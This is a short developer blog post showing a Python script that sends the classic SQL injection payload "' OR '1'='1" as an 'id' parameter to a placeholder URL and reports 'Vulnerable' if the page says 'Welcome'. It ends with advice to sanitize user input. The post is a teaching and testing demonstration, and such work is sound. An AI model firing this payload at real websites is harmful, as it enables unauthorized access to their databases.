DEV Community

Mohana Vamsi
Mohana Vamsi

Posted on

SQL Injection Tester

The purpose of this project is to demonstrate how SQL injection works. This malicious functionality sends SQL queries to a vulnerable web application for testing the injection susceptibility.

Code Example:

import requests

def test_sql_injection(url):

payload = "' OR '1'='1"

response = requests.get(url, params={'id': payload})

if "Welcome" in response.text:

print("Vulnerable to SQL Injection")

else:

print("Safe")

url = "http://example.com/product?id="

test_sql_injection(url)

Use Case: This is a script that tests web applications against SQL injection vulnerabilities and shows how adversaries generally manipulate databases.

Tip: Make sure to always sanitize all user inputs into the web applications against SQL injection attacks.

Top comments (0)

Sentry image

See why 4M developers consider Sentry, “not bad.”

Fixing code doesn’t have to be the worst part of your day. Learn how Sentry can help.

Learn more

👋 Kindness is contagious

Please leave a ❤️ or a friendly comment on this post if you found it helpful!

Okay